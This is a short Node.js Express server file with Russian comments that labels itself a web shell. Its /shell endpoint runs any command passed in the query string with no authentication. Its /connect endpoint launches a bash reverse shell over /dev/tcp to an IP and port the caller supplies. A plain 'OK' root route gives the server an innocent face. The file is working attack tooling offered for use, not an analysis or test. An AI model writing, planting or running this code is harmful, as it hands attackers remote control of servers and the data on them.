const express = require("express");
const app = express();
const { exec } = require("child_process");

app.use(express.json());

// Веб-шелл
app.get("/shell", (req, res) => {
  const cmd = req.query.cmd || "id";
  exec(cmd, (err, stdout, stderr) => {
    res.send(stdout + stderr);
  });
});

// Reverse shell (для продвинутого использования)
app.get("/connect", (req, res) => {
  const ip = req.query.ip || "127.0.0.1";
  const port = req.query.port || "4444";
  exec(`bash -c "bash -i >& /dev/tcp/${ip}/${port} 0>&1"`, (err, stdout, stderr) => {
    res.send("Attempted: " + (err ? stderr : "OK"));
  });
});

app.get("/", (req, res) => res.send("OK"));
app.listen(3000, () => console.log("Running"));